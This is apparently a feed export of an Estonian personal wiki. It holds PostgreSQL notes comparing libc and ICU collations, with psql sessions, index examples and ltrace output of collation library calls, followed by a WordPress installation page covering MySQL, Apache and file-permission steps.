$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* libc puhul saab teha tabeli tulbale indekseid erinevate collate'dega st erinevate keelte kohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4218</id>
		<title>WordPress</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4218"/>
		<updated>2026-06-15T10:54:18Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 20260515 andmebaasi kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
WordPress (WP) http://wordpress.org/ ...&lt;br /&gt;
&lt;br /&gt;
* http://wordpress.org/&lt;br /&gt;
* http://wordpress.com/&lt;br /&gt;
* http://automattic.com/&lt;br /&gt;
&lt;br /&gt;
Parlance&lt;br /&gt;
&lt;br /&gt;
* The Codex - WP dokumentatsioon&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistused===&lt;br /&gt;
&lt;br /&gt;
WordPress tarkvara kasutamiseks peab olema kasutada&lt;br /&gt;
&lt;br /&gt;
* MySQL andmebaas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mysql&amp;gt; create database site_1 character set utf8 collate utf8_general_ci;&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'%' identified by 'parool';&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nt Apache veebiserver&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost 217.146.67.108:80&amp;gt;&lt;br /&gt;
    ServerAdmin www@site-2.moraal.ee&lt;br /&gt;
    DocumentRoot /srv/site-2.moraal.ee/html&lt;br /&gt;
    ServerName site-2.moraal.ee&lt;br /&gt;
    ErrorLog /var/log/apache2/site-2.moraal.ee-error.log&lt;br /&gt;
    LogFormat &amp;quot;%v %a %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot; %D&amp;quot; vhost&lt;br /&gt;
    CustomLog /var/log/apache2/site-2.moraal.ee-access.log vhost&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Directory /srv/site-2.moraal.ee/html&amp;gt;&lt;br /&gt;
    Options All -Indexes&lt;br /&gt;
    AllowOverride All&lt;br /&gt;
    Order allow,deny&lt;br /&gt;
    Allow from All&lt;br /&gt;
    AddDefaultCharset &amp;quot;utf-8&amp;quot;&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* veebiserveri ees olev tulemüür peab lubama nö isanda juurde 80 ja 443 pordile pöörduda (pluginate jms paigaldamiseks ja uuendamiseks)&lt;br /&gt;
&lt;br /&gt;
Süsteemis olema vajalikud abistavad teegid jms, nende paigaldamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install `echo $(apt-get install wordpress -s | grep ^Inst | grep -v wordpress | awk {'print $2'})` -s&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara arhiiv aadressilt http://wordpress.org/ ja pakkida lahti veebijuurika all kataloogi&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # tar zxf /var/tmp/wordpress-4.2.4.tar.gz&lt;br /&gt;
&lt;br /&gt;
Muuta ajutiselt kõik rakenduse kataloogis www-data kasutajale kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R www-data:www-data /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Avades brauseris ning täites lahtrid sobivalt, eriti andmbaasi ligipääsi ligipääsu, paigaldada rakendus&lt;br /&gt;
&lt;br /&gt;
 http://wp.imool/wp&lt;br /&gt;
&lt;br /&gt;
* Site Title&lt;br /&gt;
* Username&lt;br /&gt;
* Password&lt;br /&gt;
* eposti aadress&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist muuta kõik rakenduse kataloogis kasutajale www-data mitte-kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R ftp-wp:ftp-wp /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab Wordpressi kasutada, tõenäoliselt on tarvis veel failisüsteemi õigustes midagi kohendada, nt&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
Admebaasi ligipääs on kirjeldatud seadistusfailis wp-config.php&lt;br /&gt;
&lt;br /&gt;
 define('DB_NAME', 'wp');                &lt;br /&gt;
 define('DB_USER', 'wp');           &lt;br /&gt;
 define('DB_PASSWORD', 'wpparool');     &lt;br /&gt;
 define('DB_HOST', 'localhost');&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Komponentide paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Fluida teema paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2016 aasta suvel on Fluida https://wordpress.org/themes/fluida/ ilus puhas tasuta teema. Paigaldamiseks tuleb valida&lt;br /&gt;
&lt;br /&gt;
 Apperance -&amp;gt; Themes -&amp;gt; Add New -&amp;gt; Search themes -&amp;gt; 'Fluida'&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
* Fluida -&amp;gt; Miscellaneous -&amp;gt; Custom Theme CSS&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#footer-inside {display: none;}&lt;br /&gt;
h1 {font-size: 20px; font-weight: bold;}&lt;br /&gt;
.entry-content table {background-color: #f6f6f6; width: 100%;}&lt;br /&gt;
